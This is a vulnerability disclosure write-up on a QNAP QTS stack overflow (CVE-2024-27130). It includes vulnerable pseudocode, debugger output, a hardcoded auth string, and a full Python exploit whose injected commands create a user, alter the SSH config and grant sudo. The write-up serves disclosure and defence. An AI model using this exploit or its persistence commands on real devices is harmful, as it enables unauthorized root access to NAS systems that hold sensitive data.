QNAP QTS - QNAPping At The Wheel (CVE-2024-27130 and friends)

Infosec is, at it’s heart, all about that data. Obtaining access to it (or disrupting access to it) is in every ransomware gang and APT group’s top-10 to-do-list items, and so it makes sense that our research voyage would, at some point, cross paths with products intended to manage - and safeguard - this precious resource.

We speak, ofcourse, of the class of NAS (or ‘Network-Attached Storage’) devices.

Usually used in multi-user environments such as offices, it’s not difficult to see why these are an attractive target for attackers. Breaching one means the acquisition of lots of juicy sensitive data, shared or otherwise, and the ever-present ransomware threat is so keenly aware of the value that attacking NAS devices provides that strains of malware have been developed specifically for them.

With a codebase bearing some long 10+ year legacy, and a long history of security weaknesses, we thought we’d offer a hand to the QNAP QTS product, by ripping it apart and finding some bugs. This post and analysis covers shared code found in a few different variants of the software:

• QTS, the NAS ‘OS’ itself,
• QuTSCloud, the VM-optimized version, and
• ‘QTS hero’, a version with higher-performance features such as ZFS.

If you’re playing along at home, you can fetch a VM of QuTSCloud from QNAP’s site (we used the verbosely-named ’c5.1.7.2739 build 20240419’ for our initial analysis, and then used a hardware device to verify exploitation - more on this later). A subscription is pretty cheap and can be bought with short terms - a one-core subscription will cost 5 USD/month and so is great for reversing.

Given the shared-access model of the NAS device, which permits sharing files with specific users, both authenticated and unauthenticated bugs were of interest to us. We found no less than fifteen bugs of varying severity, and we’ll be disclosing most of these today (two are still under embargo, so they will have to wait for a later date).

We will, however, be focusing heavily on one in particular - CVE-2024-27130, an unauthenticated stack overflow bug, which allows remote-code execution (albeit with a minor prerequisite). Here’s a video to whet your appetites:

We’ll be starting all the way back at ‘how we found it’ and concluding all the way at the always-exciting ‘getting a shell’.

First, though, we’ll take a high-level look at the NAS (feel free to skip this section if you’re impatient and just want to see some registers set to 0x41414141). With that done, we’ll burrow down into some code, find our bug, and ultimately pop a shell. Strap in!

So What Is A NAS, Anyway?

NAS devices are cut-down computers, designed to store and process large amounts of data, usually among team members. Typically, they are heavily optimized for this task, both in hardware (featuring fast IO and networking datapaths) and in software (offering easy ways to share and store data). The multi-user nature of such devices (”Oh, I’ll share this document with all the engineers plus Bob from accounting”) makes for an attractive (to hackers!) threat model.

It’s tempting to look at these as small devices for small organisations, and while it’s true that they are a great way to convert a few hundred dollars into an easy way to share files in such an environment, it is actually underselling the range of such devices. At the high-end, QNAP offer machines with enterprise features like 100Gb networking and redundant components - these aren’t just device used by small enterprises, they are also used in large, complex environments.

As we alluded to previously, the software on these devices is heavily optimized for data storage and maintenance.

Again, it would be an underestimation to think of these devices as simply ‘Linux with some management code’. While it’s true that QTS is built on a Linux base, it features a surprising array of software, all the way from a web-based UI to things like support for Docker containers.

To manage all this, QTS even has its own ‘app store’, shown below. It’s interesting to note that the applications themselves have a history of being buggy - for reasons of time, we concentrated our audit on QTS itself and didn’t look at the applications.

Clearly, there’s a lot of complexity going on here, and where there’s complexity, there’s bugs - especially since the codebase, in some form or another, appears to have been in use for at least ten years (going by historic CVE data).

Peeking Inside The QTS

We pulled down the “cloud” version of QNAP’s OS, QuTSCloud, which is simply a virtual machine from QNAP’s site. After booting it up and poking around in the web UI, we logged in to the console and took a look around the environment. What we found was an install of Linux, with some middleware exposed via HTTPS, enabling management. All good so far, right? Well, kinda.

So, what language do you think this middleware is written in? PHP? Python? Perl, even? Nope! You might be surprised to learn that it’s written in C, the hacker’s favorite language.

Taking a look through the installed files reveals a surprising amount of cruft and mess, presumably left over from legacy versions of the software.

There is an instance of Apache listening on port 8080, which seemingly exists only to forward requests to a custom webserver, thttpd, listening on localhost. This custom webserver then calls a variety of CGI scripts (written in C, naturally).

This thttpd is a fun browse, full of surprises:

if ( memcmp(a1->URL, "/cgi-bin/notify.cgi", 0x13uLL) == 0 )
{
    if ( strcmp(a1->header_auth, "Basic mjptzqnap209Opo6bc6p2qdtPQ==") != 0 )
    {

While this isn’t an actual bug, it’s a ‘code smell’ that suggests something weird is going on. What issue was so difficult to fix that the best remediation was a hardcoded (non-base64) authentication string? We can only wonder.

At the start of any rip-it-apart session, there’s always the thought in the back of our minds; “are we going to find any bugs here”, and seeing this kind of thing serves as encouragement.

If you look for them, they will come [out of the woodwork].

Once we’d had a good dig around in the webserver itself, we turned our eyes to the CGI scripts that it executes.

We threw a couple into our favorite disassembler, IDA Pro, and found a few initial bugs - dumb things like the use of sprintf with fixed buffers.

We’ll go into detail about these bugs in a subsequent post, but for now, the relevant point is that most of these early bugs we found were memory corruptions of some kind or another - double frees, overflows, and the like. Given that we’d found so many memory corruption bugs, we thought we’d see if we could find any more simply by throwing long inputs at some CGI functions.

Why bother staring at disassembly when you can python -c "print('A' * 10000)" and get this:

$ curl --insecure https://192.168.228.128/cgi-bin/filemanager/share.cgi -d "ssid=28d86a96a8554c0cac5de8310c5b5ec8&func=get_file_size&total=1&path=/&name=`python -c \\"print('a' * 10000)\\"`"
2024-05-13 23:34:14,143 FATAL [default] CRASH HANDLED; Application has crashed due to [SIGSEGV] signal
2024-05-13 23:34:14,145 WARN  [default] Aborting application. Reason: Fatal log at [/root/daily_build/51x_C_01/5.1.x/NasLib/network_management/cpp_lib/easyloggingpp-master/src/easylogging++.h:5583]

A nice juicy segfault! We’re hitting it from an unauthenticated context, too, although we need to provide a valid ssid parameter (ours came from mutating a legitimate request).

To understand the impact of the bug, we need to know - where can we get this all-important value? Is it something anyone can get hold of, or is it some admin-only session token which makes our bug meaningless in a security context?

Sharing Is Caring

Well, it turns out that it is the identifier given out when a legitimate NAS user elects to ‘share a file’.

As we mentioned previously, the NAS is designed to work in a multi-user environment, with users sharing files between each other. For this reason, it implements all the user-based file permissions you’d expect - a user could, for example, permit only the ‘marketing’ department access to a specific folder. However, it also goes a little further, as it allows files to be shared with users who don’t have an account on the NAS itself. How does it do this? By generating a unique link associated with the target file.

A quick demonstration might be better than trying to explain. Here’s what a NAS user might do if they want to share a file with a user who doesn’t have a NAS account (for example, an employee at a client organization) - they’d right-click the file and go to the ‘share’ submenu.

As you can see, there are functions to push the generated link via email, or even via a ‘social network’. All of these will generate a unique token to identify the link, which has a bunch of properties associated with it - you can set expiry or even require a password for the shared file.

We’re not interested in these, though, so we’ll just create the link. We’re rewarded with a link that looks like this:

https://192.168.228.128/share.cgi?ssid=28d86a96a8554c0cac5de8310c5b5ec8

As you can see, the all-important ssid is present, representing all the info about the shared file. That’s what we need to trigger our segfault. While this limits the usefulness of the bug a little - true unauthenticated bugs are much more fun! - it’s a completely realistic attack scenario that a NAS user has shared a file with an untrusted user. We can, of course, verify this expectation by turning to a quick-and-dirty google dork, which finds a whole bunch of ssids, verifying our assumption that sharing a file with the entire world is something that is done frequently by NAS users. Great - onward with our bug!

One Man ARMy

Having verified the bug is accessible anonymously, we dug into the bug with a debugger.

We quickly found that we have control of the all-important RIP register, along with a few others, but since the field that triggers the overflow - the name parameter - is a string, exploitation is made somewhat more complex by our inability to add null bytes to the payload.

Fear not, though - there is an easier route to exploitation, one that doesn’t need us to sidestep this inability!

What if, instead of trying to exploit on arm64-based hardware, with their pesky 64bit addresses and their null bytes, we could exploit on some 32-bit hardware instead? We speak not of 32-bit x86. which it would be difficult to find in the wild, but of an ARM-based system.

ARM-based systems, as you might know, are usually used in embedded devices such as mobile phones, where it is important to minimize power usage while maintaining a high performance-per-watt figure. This sounds ideal for many NAS users, for whom a NAS device simply needs to ferry some data between the network and the disk, without any heavy computation.

QNAP make a number of devices that fit into this category, using ARM processors, and were kind enough to grant us access to an ARM-based device in their internal test environment (!) for us to investigate one of our other issues, so we took a look at it.

[~] # uname -a
Linux [redacted] 4.2.8 #2 SMP Fri Jul 21 05:07:50 CST 2023 armv7l unknown
[~] # grep model /proc/cpuinfo | head -n 1
model name      : Annapurna Labs Alpine AL214 Quad-core ARM Cortex-A15 CPU @ 1.70GHz

Wikipedia tells us the ARMv7 uses a 32-bit address space, which will make exploitation a lot easier. Before we jump to exploitation, here’s the vulnerable pseudocode:

_int64 No_Support_ACL(char *a1)
{
  char v2[128];
  char dest[4104];
  char *delim;
  unsigned int returnValue;
  char *filename;

  returnValue = 1;
  delim = "/";
  filename = 0LL;
  if ( !a1 )
    return returnValue;
  if ( *a1 == '/' )
  {
    strcpy(dest, a1);
    filename = strtok(dest, delim);
  }
  // irrelevant code omitted
  return returnValue;
}

It’s pretty standard stuff - we’ve got a 4104-byte buffer, and if the input to the function (provided by us) begins with a slash, we’ll copy the entire input into this 4104-byte buffer, even if it is too long to fit, and we’ll overwrite three local variables - delim, returnValue, and then filename. It turns out that we’re in even more luck, as the function stores its return address on the stack (rather than in ARM’s dedicated ‘Link Register’), and so we can take control of the program counter, PC, with a minimum of fuss.

Finally, the module has been compiled without stack cookies, an important mitigation which could’ve made exploitation difficult or even impossible.

At this point, we made the decision to disable ASLR, a key mitigation for memory corruption attacks, in order to demonstrate and share a PoC, while preventing the exploit from being used maliciously.

# echo 0 > /proc/sys/kernel/randomize_va_space

That done, let’s craft some data and see what the target machine ends up.

    buf = b'A' * 4082
    buf = buf + (0xbeefd00d).to_bytes(4, 'little')  // delimiter
    buf = buf + (0xcaffeb0d).to_bytes(4, 'little')  // returnValue
    buf = buf + (0xdead1337).to_bytes(4, 'little')  // filename
    buf = buf + (0xea7c0de2).to_bytes(4, 'little')  // 
    buf = buf + (0xc0debabe).to_bytes(4, 'little')  // PC

    payload = {
        'ssid': [ insert valid ssid here ],
        'func': 'get_file_size',
        'total': '1',
        'path': '/',
        'name': buf
    }

    resp = requests.post(
        f"http://{args.host}/cgi-bin/filemanager/share.cgi",
        verify=False,
        data=payload
    )

Let’s see what happens:

Program received signal SIGSEGV, Segmentation fault.
0x72e87faa in strspn () from /lib/libc.so.6
(gdb) x/1i $pc
=> 0x72e87faa <strspn+6>:       ldrb    r5, [r1, #0]
(gdb) info registers r1
r1             0xbeefd00d       3203387405

So we’re trying to dereference this address - 0xbeefd00d - which we supplied. Fair enough - let’s provide a valid pointer instead of the constant. Our input string is located at 0x54140508 in memory (as discovered by x/1s $r8 ) so let’s put that in and re-run.

What happens? Maybe we’ll be in luck and it’ll be something useful to us.

Program received signal SIGSEGV, Segmentation fault.
0xc0debabc in ?? ()
(gdb) info registers
r0             0xcaffeb0d       3405769485
r1             0x73baf504       1941632260
r2             0x7dff5c00       2113887232
r3             0xcaffeb0d       3405769485
r4             0x540ed8fc       1410259196
r5             0x540ed8fc       1410259196
r6             0x54147fc8       1410629576
r7             0xea7c0de2       3933998562
r8             0x54140508       1410598152
r9             0x1      1
r10            0x0      0
r11            0x0      0
r12            0x73bda880       1941809280
sp             0x7dff5c10       0x7dff5c10
lr             0x73b050f3       1940934899
pc             0xc0debabc       0xc0debabc
cpsr           0x10     16

Oh ho ho ho! We’re in luck indeed! Not only have we set the all-important PC value to a value of our choosing, but we’ve also set r0 and r3 to 0xcaffeb0d, and r7 to 0xea5c0de2.

The stars have aligned to give us an impressive amount of control. As those familiar with ARM will already know, the first four function arguments are typically passed in r0 through r3, and so we can control not only what gets executed (via PC ) but also it’s first argument. A clear path to exploitation is ahead of us - can you see it?

The temptation to set the PC to the system function call is simply too great to resist. All we need do is supply a pointer to our argument in r0 (if you recall, this is 0x54140508 ). We’ll bounce through the following system thunk, found in /usr/lib/libuLinux_config.so.0 :

.plt:0002C148 ; int system(const char *command)
.plt:0002C148 system                                  ; CODE XREF: stop_stunnel+A↓p
.plt:0002C148                                         ; start_stunnel+A↓p ...
.plt:0002C148                 ADRL            R12, 0x111150
.plt:0002C150                 LDR             PC, [R12,#(system_ptr - 0x111150)]! ; __imp_system

We can easily find it:

(gdb) info sharedlibrary libuLinux_config.so.0
From        To          Syms Read   Shared Object Library
0x73af7eb8  0x73bab964  Yes (*)     /usr/lib/libuLinux_config.so.0

That address is the start of the .text function, which IDA tells us is at +0x2eeb8, so the real module base is 73ac9000. Adding the 0x2c148 offset to system gives us our ultimate value: 0x73af5148. We’ll slot these into our PoC, set our initial payload to some valid command, and see what happens. Note our use of a bash comment symbol (’#’) to ensure the rest of the line isn’t interpreted by bash.

    buf = b"/../../../../bin/echo noot noot > /tmp/watchtowr #"
    buf = buf + b'A' * (4082 - len(buf))
    buf = buf + (0x54140508).to_bytes(4, 'little')  # delimiter
    buf = buf + (0x54140508).to_bytes(4, 'little')  # r0 and r3
    buf = buf + (0x54140508).to_bytes(4, 'little')  #
    buf = buf + (0x54140508).to_bytes(4, 'little')  # r7
    buf = buf + (0x73af5148).to_bytes(4, 'little')  # pc

[/] # cat /tmp/watchtowr
noot noot

Fantastic! Code execution is verified!

What shall we do with our new-found power? Well, let’s add a user to the system so we can log in properly.

"/../../../../usr/local/bin/useradd -p \\"$(openssl passwd -6 [redacted password])\\" watchtowr  #"

Since QNAP systems restrict who is allowed to log in via SSH, we’ll manually tweak the sshd config and then reload the SSH server.

/bin/sed -i -e 's/AllowUsers /AllowUsers watchtowr /' /etc/config/ssh/sshd_config # 
/../../../../usr/bin/killall -SIGHUP sshd # 

Finally, since being unprivileged is boring, we’ll add an entry to the sudoers config so we can simply assume superuser privileges.

/../../../../bin/echo watchtowr ALL=\\\\(ALL\\\\) ALL >> /usr/etc/sudoers # 

Our final exploit, in its entirety:

import argparse
import os
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

parser = argparse.ArgumentParser(prog='PoC', description='PoC for CVE-2024-27130', usage="Obtain an 'ssid' by requesting a NAS user to share a file to you.")
parser.add_argument('host')
parser.add_argument('ssid')

def main(args):
    docmd(args, f"/../../../../usr/local/bin/useradd -p \\"$(openssl passwd -6 {parsedArgs.password})\\" watchtowr  #".encode('ascii'))
    docmd(args, b"/bin/sed -i -e 's/AllowUsers /AllowUsers watchtowr /' /etc/config/ssh/sshd_config # ")
    docmd(args, b"/../../../../bin/echo watchtowr ALL=\\\\(ALL\\\\) ALL >> /usr/etc/sudoers # ")
    docmd(args, b"/../../../../usr/bin/killall -SIGHUP sshd # ")

def docmd(args, cmd):
    print(f"Doing command '{cmd}'")
    buf = cmd
    buf = buf + b'A' * (4082 - len(buf))
    buf = buf + (0x54140508).to_bytes(4, 'little')  # delimiter
    buf = buf + (0x54140508).to_bytes(4, 'little')  # r0 and r3
    buf = buf + (0x54140508).to_bytes(4, 'little')  #
    buf = buf + (0x54140508).to_bytes(4, 'little')  # r7
    buf = buf + (0x73af5148).to_bytes(4, 'little')  # pc

    payload = {
        'ssid': args.ssid,
        'func': 'get_file_size',
        'total': '1',
        'path': '/',
        'name': buf
    }

    requests.post(
        f"https://{args.host}/cgi-bin/filemanager/share.cgi",
        verify=False,
        data=payload,
        timeout=2
    )

def makeRandomString():
    chars = "ABCDEFGHJKLMNPQRSTUVWXYZ23456789"
    return "".join(chars[c % len(chars)] for c in os.urandom(8))

parsedArgs = parser.parse_args()
parsedArgs.password = makeRandomString()

main(parsedArgs)
print(f"Created new user OK. Log in with password '{parsedArgs.password}' when prompted.")
os.system(f'ssh watchtowr@{parsedArgs.host}')

Well, almost in its entirety - check out our GitHub repository for the completed PoC and exploit scripts.

Here’s the all-important root shell picture!

Note: As discussed above, in order to demonstrate and share a PoC, while preventing the exploit from being used maliciously as this vulnerability is unpatched, this PoC relies on a target that has had ASLR manually disabled.

Those of you who practice real-world offensive research, such as red-teamers, may be reeling at the inelegance of our PoC exploit. It is unlikely that such noisy actions as adding a system user and restarting the ssh daemon will go unnoticed by the system administrator!

Remember, though, our aim here is to validate the exploit, not provide a real-world capability (today).

Wrap-Up

So, what’ve we done today?

Well, we’ve demonstrated the exploitation of a stack buffer overflow issue in the QNAP NAS OS.

We’ve mentioned that we found fifteen bugs - here’s a list of them, in brief. We’ve used CVE identifiers where possible, and where not, we’ve used our own internal reference number to differentiate the bugs.

As we mentioned before, we’ll go into all the gory details of all these bugs in a subsequent post, along with PoC details you can use to verify your exposure.

The first four of these bugs have patches available. These bugs are fixed in the following products:

• QTS 5.1.6.2722 build 20240402 and later
• QuTS hero h5.1.6.2734 build 20240414 and later

For more details, see the vendor advisory.

However, the remaining bugs still have no fixes available, even after an extended period. Those who are affected by these bugs are advised to consider taking such systems offline, or to heavily restrict access until patches are available.

We’d like to take this opportunity to preemptively address some concerns that some readers may have regarding our decision to disclose these issues to the public. As we stated previously, many of these issues currently have no fixes available despite the vendor having validated them. You can also see, however, that the vendor has been given ample time to fix these issues, with the most serious issue we discussed today being first reported well over four months ago.

Here at watchTowr, we abide by an industry-standard 90 day period for vendors to respond to issues (as specified in our VDP). We are usually generous in granting extensions to this in unusual circumstances, and indeed, QNAP has received multiple extensions in order to allow remediation.

In cases where there is a clear ‘blocker’ to remediation - as was the case with WT-2023-0050, for example - we have extended this embargo even further to allow enough time for the vendor to analyze the problem, issue remediation, and for end-users to apply these remediations.

However, there must always be some point at which it is in the interest of the Internet community to disclose issues publicly.

While we are proud of our research ability here at watchTowr, we are by no means the only people researching these attractive targets, and we must be forced to admit the likelihood that unknown threat groups have already discovered the same weaknesses, and are quietly using them to penetrate networks undetected.

This is what drives us to make the decision to disclose these issues despite a lack of remediation. It is hoped that those who store sensitive data on QNAP devices are able to better detect offensive actions when with this information.

Finally, we want to speak a little about QNAP’s response to these bugs.

It is often (correctly) said that vulnerabilities are inevitable, and that what truly defines a vendor is their response. In this department, QNAP were something of a mixed bag.

On one hand, they were very cooperative, and even gave us remote access to their own testing environment so that we could better report a bug - something unexpected that left us with the impression they place the security of their users at a very high priority. However, they took an extremely long time to remediate issues, and indeed, have not completed remediation at the time of publishing.

Here’s a timeline of our communications so you can get an idea of how the journey to partial remediation went:

However, part of me can empathize with QNAP’s position; they clearly have a codebase with heavy legacy component, and they are working hard to squeeze all the bugs out of it.

We’ll talk more in-depth about the ways they’re attempting this, and the advantages and disadvantages, in a subsequent blog post, and will also go into detail on the topic of all the other bugs - except those under embargo, WT-2023-0050 and WT-2024-00XX, which will come at a later date, once the embargos expire.

We hope you’ll join us for more fun then!

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

It's our job to understand how emerging threats, vulnerabilities, and TTPs affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.